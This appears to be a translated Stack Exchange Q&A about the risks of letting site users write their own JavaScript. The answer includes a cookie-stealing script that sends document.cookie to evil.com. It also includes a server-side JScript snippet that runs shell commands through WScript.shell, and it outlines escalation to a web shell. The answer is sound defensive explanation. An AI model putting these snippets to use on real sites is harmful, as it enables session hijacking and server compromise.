如果最终用户可以编写自己的Javascript,可以联系SQL DB吗?

use*_*554 7 javascript sql penetration-testing

我有一个网站,我让用户编辑网站的前端.用户只能访问编辑器,而不能访问其托管的服务器.

用户要求我也允许javascript.这意味着用户可以在前端创建自己的脚本.

我担心的是用户可能会使用它来做恶意的事情.我担心,如果用户知道的东西足够好,他可能会搞砸网站.

我的问题: - 假设用户拥有SQL DB的连接字符串,他是否可以设法在该服务器上执行查询?通常这应该是NO,因为javascript是客户端的权利吗?

我找到了以下代码段:

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close; 
Run Code Online (Sandbox Code Playgroud)

假设我的连接字符串看起来像

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True
Run Code Online (Sandbox Code Playgroud)

我试图让脚本运行,但幸运的是它显示了一个空白页面.但这是因为我可能做错了什么?或者它确实是因为javascript是客户端的,并且不会允许做那种东西?

其他问题: - 我采取了哪些其他风险的例子,允许他在前端使用javascript?如果javascript确实是一个完全客户端的语言,那就意味着他不能冒任何其他风险吗?

t.m*_*dam 6

JavaScript在客户端运行,不会直接影响服务器的安全性.但是,它可能会对您的网站访问者,用户和管理员构成威胁.JavaScript攻击被称为XSS攻击,可能会产生各种影响:

基于XSS的各种攻击几乎是无限的,但它们通常包括向攻击者传输私有数据(如cookie或其他会话信息),将受害者重定向到攻击者控制的Web内容,或者在用户的计算机上执行其他恶意操作在易受攻击的网站的幌子下.

您的问题中的代码似乎ActiveXObject用于创建数据库连接.如果攻击者拥有数据库凭据(连接字符串)并且SQL服务器端口已打开,那么他们可以访问数据库,但此时他们可以使用任何SQL客户端.

但是,可以在IIS服务器上运行JScr​​ipt(Microsoft的JavaScript版本).如果代码放在带有runat="server"属性的脚本标记中,则在.asp页面上,然后它将在服务器上执行,并且可以到达数据库.例如,这段代码:

<html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
    }
</script>
<% exploit() %>
</html>
Run Code Online (Sandbox Code Playgroud)

将显示服务器的IP配置,如果它在.asp或.aspx页面上执行.但是如果攻击者可以编辑.asp/.aspx页面,那么它已经太晚了.

假设他们无法编辑活动服务器页面,并且他们没有凭据或访问SQL服务器,他们应该无法使用JavaScript直接访问您的数据库.但是,他们可以使用XSS攻击来提升他们的权限.


可能的攻击情形:

攻击者编写一个收集用户cookie的脚本,并将其发送到他们的服务器.

var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');
Run Code Online (Sandbox Code Playgroud)

使用此简单代码,攻击者可以记录访问托管此恶意脚本的页面的任何用户的cookie,并使用它们登录其帐户或使用其权限执行其他操作.

如果管理员访问此页面,则攻击者可以使用其Cookie以管理员身份访问控制面板.许多CMS(包括WordPress和Joomla)允许管理员在服务器上编写或修改PHP代码,因此攻击者可能会上传Web shell.他们甚至可以通过管理员的浏览器发出XHR请求来自动完成整个过程.

如果他们设法上传Web shell,他们可以执行命令和代码,读/写文件和访问SQL服务器.因此,现在他们可以使用与您的用户帐户相同的凭据和IP来访问数据库.当然可能存在可以阻止这种情况的机制(AV,限制等),但是坚定的攻击者可以找到绕过它们的方法.


总之,您永远不应该运行不受信任的代码.在您的网站上允许不受信任的JavaScript代码可能会产生非常糟糕的后果.即使攻击者无法访问您的数据库或损害您的网站,他们仍然可能会损害您的访问者.您可以访问牛肉,看看XSS攻击有多危险.